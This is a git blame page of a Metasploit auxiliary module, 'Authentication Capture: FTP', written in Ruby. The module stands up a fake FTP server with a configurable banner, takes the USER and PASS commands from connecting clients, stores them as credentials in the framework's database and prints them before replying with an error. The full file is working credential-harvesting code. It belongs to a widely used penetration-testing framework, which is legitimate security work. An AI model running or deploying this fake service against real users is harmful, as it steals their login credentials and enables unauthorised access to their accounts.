Files
metasploit-gs/modules/auxiliary/server/capture/ftp.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

121 lines
2.7 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::TcpServer
include Msf::Auxiliary::Report
2013-08-30 16:28:54 -05:00
def initialize
super(
'Name' => 'Authentication Capture: FTP',
'Description' => %q{
2010-05-03 17:13:09 +00:00
This module provides a fake FTP service that
is designed to capture authentication credentials.
},
'Author' => ['ddz', 'hdm'],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Capture', 'Description' => 'Run FTP capture server' ]
],
'PassiveActions' =>
[
'Capture'
],
'DefaultAction' => 'Capture'
)
2013-08-30 16:28:54 -05:00
register_options(
[
2018-11-04 21:46:01 -05:00
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]),
OptString.new('BANNER', [ true, "The server banner", 'FTP Server Ready'])
])
end
2013-08-30 16:28:54 -05:00
def setup
super
@state = {}
end
2013-08-30 16:28:54 -05:00
def run
exploit()
end
2013-08-30 16:28:54 -05:00
def on_client_connect(c)
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil}
2018-11-04 21:46:01 -05:00
c.put "220 #{datastore['BANNER']}\r\n"
end
2013-08-30 16:28:54 -05:00
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
2015-07-23 15:50:50 -05:00
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def on_client_data(c)
data = c.get_once
return if not data
cmd,arg = data.strip.split(/\s+/, 2)
arg ||= ""
2013-08-30 16:28:54 -05:00
if(cmd.upcase == "USER")
@state[c][:user] = arg
c.put "331 User name okay, need password...\r\n"
return
end
2013-08-30 16:28:54 -05:00
if(cmd.upcase == "QUIT")
c.put "221 Logout\r\n"
return
end
2013-08-30 16:28:54 -05:00
if(cmd.upcase == "PASS")
@state[c][:pass] = arg
2013-08-30 16:28:54 -05:00
report_cred(
ip: @state[c][:ip],
port: datastore['SRVPORT'],
service_name: 'ftp',
user: @state[c][:user],
password: @state[c][:pass],
proof: arg
)
2013-08-30 16:28:54 -05:00
2017-07-19 11:39:15 +01:00
print_good("FTP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
end
2013-08-30 16:28:54 -05:00
@state[c][:pass] = data.strip
c.put "500 Error\r\n"
return
2013-08-30 16:28:54 -05:00
end
2013-08-30 16:28:54 -05:00
def on_client_close(c)
@state.delete(c)
end
2010-03-25 01:09:04 +00:00
end